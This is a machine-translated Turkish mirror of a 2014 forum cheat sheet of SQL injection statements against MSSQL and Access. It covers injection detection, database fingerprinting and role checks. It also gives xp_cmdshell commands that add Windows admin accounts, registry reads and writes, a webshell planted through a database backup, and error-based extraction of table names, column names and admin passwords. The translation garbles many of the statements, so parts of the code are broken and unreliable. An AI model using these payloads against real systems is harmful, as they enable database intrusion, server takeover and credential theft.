Bu makale makine çevirisi ayna makalesidir, orijinal makaleye geçmek için lütfen buraya tıklayın.

Görünüm: 14167|Yanıt: 0

[Güvenli İletişim] SQL enjeksiyon yaygın ifadeleri

[Bağlantıyı kopyala]
Yayınlandı 22.11.2014 17:17:21 | | |
1. Enjeksiyon olup olmadığını belirleyin
; ve 1=1
; ve 1=2

2. MSSQL olup olmadığı ön kararı
; ve kullanıcı>0

3. Veritabanı sistemini yargılayın
; ve (sysobjects'ten selectcount(*))>0 mssql
; ve (msysobjects'ten count(*) seç)>0 erişim

4. Enjeksiyon parametresi bir karakterdir
've [sorgulama kriterleri] ve ''='

5. Arama sırasında filtrelenmiş parametreler yoktur
've [sorgulama kriterleri] ve '%25'='

6. Masanın adını tahmin et
; ve ([tablo adı]'dan Count(*) seçin)>0

7. Alanı tahmin et
; ve (tablo adından Count(alan adı)'nı seçin)>0

8. Sahadaki rekorun uzunluğunu tahmin et
; ve (tablo adından en üst 1 lens'i (alan adı) seçin)>0

9. (1) Alanın ASCII değerini tahmin et (erişim)
; ve (tablo adından en üst 1 ASC(mid(alan adı, 1,1))))>0

(2) Alanın ASCII değerini tahmin et (mssql)
; ve (tablo adından en üst 1 unicode(substring(alan adı,1,1)))>0 seçin

10. Test İzni Yapısı (mssql)
; ve 1=(select IS_SRVROLEMEMBER('sysadmin')); --
; ve 1=(select IS_SRVROLEMEMBER('serveradmin')); --
; ve 1=(select IS_SRVROLEMEMBER('setupadmin')); --
; ve 1=(IS_SRVROLEMEMBER('securityadmin')'i seçin); --
; ve 1=(select IS_SRVROLEMEMBER('diskadmin')); --
; ve 1=(select IS_SRVROLEMEMBER('bulkadmin')); --
; ve 1=(select IS_MEMBER('db_owner')); --

11. mssql ve sistem için bir hesap ekleyin
; yönetici master.dbo.sp_addlogin kullanıcı adı; --
; exec master.dbo.sp_password null,username,password; --
; yönetici master.dbo.sp_addsrvrolemember sistem yöneticisi kullanıcı adı; --
; exec master.dbo.xp_cmdshell 'net kullanıcı adı şifresi /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'net kullanıcı adı şifresi /add'; --
; exec master.dbo.xp_cmdshell 'net localgroup yöneticileri kullanıcı adı /add'; --

12. (1) Kataloğu gezin
; create table dirs(paths varchar(100), id int)
; DIRS yöneticisi master.dbo.xp_dirtree 'c:\' ekleyin
; ve (dirs'ten en iyi 1 yolu seçin)>0
; ve (dir'lerden en iyi 1 yolu seçin, burada yollar içeride değil ('önceki adımdan elde edilen yollar'))))>)

(2) Kataloğu dolaşın
; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; Temp exec master.dbo.xp_availablemedia ekleyin; -- Tüm mevcut sürücüleri alın
; Temp(id) yöneticisi master.dbo.xp_subdirs 'c:\'; -- Alt dizinlerin listesini alın
; temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Tüm alt dizinler için dizin ağacı yapısını alın
; Temp(id) yöneticisine master.dbo.xp_cmdshell 'c:\web\index.asp' yaz; -- Dosyanın içeriğini görüntüleyin

13. MSSQL'de saklanan prosedürler
xp_regenumvalues Kayıt defteri kök anahtarı, alt anahtar
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' birden fazla kayıt setinde tüm anahtar değerleri döndürür
xp_regread Kök anahtar, çocuk anahtar, anahtar-değer adı
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' ayar anahtarının değerini döndürür
xp_regwrite Kök anahtar, alt anahtar, değer adı, değer türü, değer
İki tür değer tipi vardır REG_SZ REG_DWORD karakter tipleri ve tam sayılar için
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' kayıt defterine
xp_regdeletevalue Kök anahtar, alt anahtar, değer adı
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' ile bir değeri kaldırmak için
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' ile anahtarı kaldırın, böylece o anahtarın altındaki tüm değerler dahil

14. mssql yedeklemesi bir webshell oluşturur
Model Kullanın
tablo oluştur cmd(str görsesi);
cmd(str) değerlerine insert ('<% Dim oScript %>');
yedekleme veritabanı modeli disk='c:\l.asp';

15. MSSQL yerleşik fonksiyonları
; ve (@@version)>0 ile Windows'un sürüm numarasını elde etmek için
; ve user_name()='dbo' ile mevcut sistemin bağlı kullanıcısının SA olup olmadığını belirlemek için
; ve (select user_name()))>0 Mevcut sistemin bağlı kullanıcılarını patlattı
; ve (db_name())>0 seçeneğine göre mevcut bağlı veritabanını elde etmek için



MSSQL el ile notasyonlu veritabanı ihlali

1. Mevcut tablo adını ve sütun adını ortaya çıkarın
Enjeksiyon noktasından sonra "'having 1=1--" göndererek İngilizce geri dönüş mesajını alabilirsiniz; burada bir tablo adı ve bir sütun adı görebilirsiniz. Başka bir sütun adı almak için "1=1--" listesi adına göre grup gönderin; "Açık tablo adı, açık tablo adı, açık tablonun adı ile grupla. İkinci sütun adı 1=1--" olur, bu da size başka bir sütun adı verir. Tüm sütun adlarını almak için sayfa hata mesajları dönmene kadar aynı şekilde commit yapın. Küçük Bilgiler: Şiddetli tablo adları ve sütun isimleri, SQL ifadelerinde koşullu yargılar yapmak için GROUP BY ile birlikte kullanılır. Ifade eksik olduğundan, veritabanı hata mesajı döndürür ve tablo adı ile sütun adı gösterir. Temel yöntem sadece mevcut tabloyu veritabanında açığa çıkarabilir ve bir tablo çok sayıda sütun adı içeriyorsa, temel yöntemi kullanmak çok zordur.

Birincisi. Tüm veritabanı isimleri açığa çıkar
"and 0<>(select count(*) from master.dbo.sysdatabases where name>1 ve dbid=[N])" ifadesini kullanarak veritabanında rastgele tablo adlarını ve sütun adlarını ortaya çıkarabilirsiniz; burada "[N]" veritabanındaki N. tabloyu temsil eder.
Adım 1: Noktayı enjekte ettikten sonra şu ifadeyi gönderin: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", çünkü dbid'in değeri 1'den 5'e kadar ve bu değer sistem tarafından kullanılır, yani kullanıcı onu 6'dan oluşturmuş olmalı ve adı gönderdik>1, isim alanı bir karakter tipi alanıdır ve sayı karşılaştırması yanlış olur, bu yüzden gönderimden sonra IE aşağıdaki bilgileri döndürecektir: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] nvarchar değerini 'Northwind' veri tipi int'ye dönüştürür Sütun. Bu şekilde, isim alanının değeri ortaya çıkar, yani "Northwind" adlı bir veritabanı adı elde edilir. "dbid" değerini değiştirerek tüm veritabanı isimlerini elde edebilirsiniz.

ve 0<>(master.dbo.sysdatabases'ten count(*) seç, burada name>1 ve dbid=[N])-- N'yi 6'dan tüm veritabanı isimlerini patlatacak şekilde değiştir


İkincisi. Belirtilen veritabanındaki tüm tablo isimlerini açığa çıkarın
Veritabanı adını aldıktan sonra, şimdi kütüphanedeki tüm tablo isimlerini almanız gerekiyor, şu ifadeyi göndermeniz gerekiyor: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", işte ana veritabanındaki tablo adı ve sorgunun SQL ifadesi ismin değerini döndürür, ardından bunu 0 sayısıyla karşılaştırarak ismin değeri ortaya çıkar. Teslim edildikten sonra masanın adı "'spt_monito" olarak ortaya çıktı.
Daha sonra diğer tablolar açılır ve şu ifade gönderilir: "and 0<>(master.dbo.sysobjects'ten en üst 1 ismi seç, burada xtype='U' ve name not in('spt_monito'))", ayrıca "cd512" adlı başka bir tablo ortaya çıkar. Dosya "and name not in(' spt_monito',' CD512',..))" Tüm masa isimlerini öğrenebilirsiniz.

ve 0<>([veritabanı adını belirt].dbo.sysobjects adresinden en üst 1 adı seç, burada xtype='U')--
ve 0<>([Veritabanı adını belirt].dbo.sysobjects adresinden en üst 1 adı seç, burada xtype='U' ve name not in('[Patlatılmış tablo adı]')))--
ve 0<>([veritabanı adını belirt].dbo.sysobjects adresinden en üst 1 adı seçin, burada xtype='U' ve name not in('[Patlayıcı tablo adı]', '[Patlatılmış ikinci tablo adı]')))))--

4. Belirtilen tablodaki tüm sütun adlarını açığa çıkarın
ve 0<>(bbs.dbo.sysobjects'ten count(*) seç, burada xtype='U' ve name='admin' ve uid>(str(id)))
ID değerini bir karakter tipine dönüştürün ve ardından tam sayı değeriyle karşılaştırın. Kimlik numarası açık. Değer şudur: 949578421 name='tablo adı'

ve 0<>(wutong.dbo.syscolumns'tan üst 1 isim seç, burada id=949578421)-- Yönetici tablosunda bir alan adı açığa çıkar

Yeniden gönder ve 0<>(wutong.dbo.syscolumns'tan ilk 1 adı seç, burada id=949578421 ve name not in('adduser'))))--
Dosya "and name not in(' spt_monito',' CD512',..))" Tüm alan isimlerini yönetici tablosunda bulabilirsiniz.


ve 0<>([veritabanı adını belirt].dbo.sysobjects adresinden count(*) seç, burada xtype='U' ve name='[Patlatılacak alanın tablo adı]' ve uid>(str(id)))--Patlatılacak alanın tablo adının ID değeri

ve 0<>([veritabanı adı].dbo.syscolumns'tan en üst 1 adı seç, burada id=patlayan id değeri)-- Patlayan id değer tablosunda bir alanın adı

ve 0<>([veritabanı adı].dbo.syscolumns'tan en üst 1 adı seçin, burada id=Patlayıcı id değeri ve name not in('[Patlatılmış alan adı]')))--



5. Belirtilen tablodaki verileri okuyun

ve 0<(wutong.dbo.admin'den A_ID seç, burada A_UserID>1) -- A_PWD bozan içerik

ve 0<([veritabanı adını belirt].dbo'dan [var olan alanı] seç. [tablo adı sorguya] burada [içerik patlatmak için alan adı]>1)--

ve 0<(wutong.dbo.admin sitesinden A_ID seç, burada A_PWD>1 ve A_UserID='admin')-- Yöneticinin şifresi açığa çıkar


ve 0<(Yöneticiden FROM A_UserID Top 1'i seç, burada A_ID<>1)-- id<>1'in yöneticisi adı (fuhao)

ve 0<(Yönetici A_UserID FROM Top 1'i seç, burada A_ID <>1 ve A_UserID <> 'fuhao')-- İkinci admin ismi (tuiguang) <> eşit değildir)

ve 0<(Yönetici A_UserID FROM Top 1'i seç, burada A_ID <>1 ve A_UserID <> 'fuhao' ve A_UserID <> 'tuiguang')--

Veritabanının tablo adını ve sütun adını bildikten sonra, veritabanındaki herhangi bir bilgiyi okumak için "sorgu ifadesi" ile kullanılabilir. Örneğin, bir tablodaki bir sütunda N. veriyi okumak istiyorsanız, şu ifadeyi gönderebilirsiniz: "and (Select Top 1 column name FROM from table name where id=[N])>1" ([N] sütundaki N. veriyi temsil eder) ve IE tarafından verilen bilgilerden istenen veriyi bilebilirsiniz.






Önceki:Sıkıştırılmış bir rar dosyasını bir jpg dosyasında nasıl gizlerim
Önümüzdeki:"Harry Potter"ı topla 1~7 Çıkar ve paylaş Beğenmezsen sprey atma
Feragatname:
Code Farmer Network tarafından yayımlanan tüm yazılım, programlama materyalleri veya makaleler yalnızca öğrenme ve araştırma amaçları içindir; Yukarıdaki içerik ticari veya yasa dışı amaçlarla kullanılamaz, aksi takdirde kullanıcılar tüm sonuçları ödemelidir. Bu sitedeki bilgiler internetten alınmakta olup, telif hakkı anlaşmazlıklarının bu siteyle hiçbir ilgisi yoktur. Yukarıdaki içeriği indirmeden sonraki 24 saat içinde bilgisayarınızdan tamamen silmelisiniz. Programı beğendiyseniz, lütfen orijinal yazılımı destekleyin, kayıt satın alın ve daha iyi orijinal hizmetler alın. Herhangi bir ihlal olursa, lütfen bizimle e-posta yoluyla iletişime geçin.

Mail To:help@itsvse.com